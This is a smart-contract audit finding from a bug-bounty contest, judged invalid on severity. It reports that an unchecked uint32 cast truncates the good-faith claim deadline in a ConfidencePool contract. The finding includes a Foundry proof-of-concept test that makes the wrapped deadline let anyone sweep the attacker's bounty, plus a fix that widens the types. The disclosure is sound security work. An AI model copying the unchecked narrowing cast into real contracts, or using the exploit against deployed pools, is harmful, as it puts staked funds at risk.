FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low
Invalid

A truncated good-faith deadline can immediately redirect the full attacker bounty to recovery

Author Revealed upon completion

Description

  • Normally, a good-faith CORRUPTED outcome gives the named attacker an exclusive 180-day window to claim the pool’s snapshotted principal and bonus. Recovery may sweep the remainder only after that deadline.

  • The first good-faith timestamp is stored as uint32. The contract adds the uint256 180-day window and explicitly narrows the result back to uint32 without checking that the derived deadline fits.

  • During the final 180 days before type(uint32).max, the deadline wraps into the past. The attacker’s claim immediately expires, while sweepUnclaimedCorrupted immediately transfers the full pool to
    recoveryAddress.

if (willBeGoodFaithCorrupted) {
if (_firstGoodFaithCorruptedAt == 0) {
_firstGoodFaithCorruptedAt = uint32(block.timestamp);
}
// @> The addition occurs in uint256 and succeeds.
// @> The explicit uint32 conversion then silently truncates
// @> a deadline greater than type(uint32).max.
corruptedClaimDeadline =
uint32(
_firstGoodFaithCorruptedAt
+ CORRUPTED_CLAIM_WINDOW
);
}
The wrapped value is trusted by both beneficiary paths:
function claimAttackerBounty() external nonReentrant {
// @> A wrapped deadline is already less than block.timestamp.
if (block.timestamp > corruptedClaimDeadline) {
revert ClaimWindowExpired();
}
// ...
}
function sweepUnclaimedCorrupted() external nonReentrant {
// @> The same wrapped value immediately enables recovery.
if (block.timestamp <= corruptedClaimDeadline) {
revert ClaimWindowNotExpired();
}
uint256 amount = stakeToken.balanceOf(address(this));
stakeToken.safeTransfer(recoveryAddress, amount);
}

Risk

Likelihood: Very Low

  • This occurs when the first good-faith CORRUPTED flag is submitted after timestamp 4,279,415,295, during the final 180 days of the uint32 domain.

  • This affects valid pools because the factory requires only 30 days of expiry headroom, leaving sufficient time to create and fund a pool at the exact wrapping boundary.

Impact:

  • The correctly named attacker loses the entire bounty without receiving the promised exclusive claim window.

  • Any caller can immediately redirect the full principal-plus-bonus balance to recoveryAddress.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// "Good-faith claim deadline truncation immediately redirects the attacker's full bounty to recovery".
contract GoodFaithClaimDeadlineTruncationImmediatelyRedirectsTheAttackersFullBountyToRecoveryPoC is
BaseConfidencePoolTest
{
uint256 internal constant CLAIM_WINDOW = 180 days;
function test_PoC_ExactFirstWrapRedirectsFullBountyToRecovery() external {
uint256 lastSafeTimestamp = uint256(type(uint32).max) - CLAIM_WINDOW;
uint256 firstWrappingTimestamp = lastSafeTimestamp + 1;
// The exact previous second works as intended.
ConfidencePool safePool = _createFactoryPoolAt(lastSafeTimestamp);
_fundAndFlagGoodFaith(safePool, attacker);
assertEq(safePool.corruptedClaimDeadline(), type(uint32).max);
vm.expectRevert(IConfidencePool.ClaimWindowNotExpired.selector);
safePool.sweepUnclaimedCorrupted();
vm.prank(attacker);
safePool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether);
// One second later, firstGoodFaith + 180 days is 2^32 and truncates to zero.
address wrappedAttacker = makeAddr("wrappedAttacker");
ConfidencePool wrappedPool = _createFactoryPoolAt(firstWrappingTimestamp);
_fundAndFlagGoodFaith(wrappedPool, wrappedAttacker);
assertEq(wrappedPool.corruptedClaimDeadline(), 0);
vm.prank(wrappedAttacker);
vm.expectRevert(IConfidencePool.ClaimWindowExpired.selector);
wrappedPool.claimAttackerBounty();
vm.expectRevert(IConfidencePool.MustClaimBountyFirst.selector);
wrappedPool.claimCorrupted();
// The wrapped deadline is already in the past, so anyone can immediately sweep the full bounty.
uint256 recoveryBefore = token.balanceOf(recovery);
wrappedPool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 ether);
}
function _createFactoryPoolAt(uint256 timestamp) internal returns (ConfidencePool created) {
vm.warp(timestamp);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(implementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
address poolAddress = factory.createPool(
agreement, address(token), timestamp + 31 days, ONE, recovery, _defaultScope()
);
created = ConfidencePool(poolAddress);
}
function _fundAndFlagGoodFaith(ConfidencePool target, address namedAttacker) internal {
token.mint(alice, 100 ether);
vm.startPrank(alice);
token.approve(address(target), 100 ether);
target.stake(100 ether);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
target.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.CORRUPTED, true, namedAttacker);
}
}

Run with:

forge test --mt test_PoC_ExactFirstWrapRedirectsFullBountyToRecovery

Recommended Mitigation

Use a wider type for the first-good-faith timestamp and derived deadline. The public interface should be updated to match the wider deadline type.

- uint32 private _firstGoodFaithCorruptedAt;
- uint32 public override corruptedClaimDeadline;
+ uint64 private _firstGoodFaithCorruptedAt;
+ uint64 public override corruptedClaimDeadline;
if (willBeGoodFaithCorrupted) {
if (_firstGoodFaithCorruptedAt == 0) {
- _firstGoodFaithCorruptedAt = uint32(block.timestamp);
+ _firstGoodFaithCorruptedAt = uint64(block.timestamp);
}
- corruptedClaimDeadline =
- uint32(
- _firstGoodFaithCorruptedAt
- + CORRUPTED_CLAIM_WINDOW
- );
+ corruptedClaimDeadline =
+ _firstGoodFaithCorruptedAt
+ + uint64(CORRUPTED_CLAIM_WINDOW);
}

As a smaller but more restrictive alternative, retain uint32 and reject any derived deadline exceeding type(uint32).max before performing the cast.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!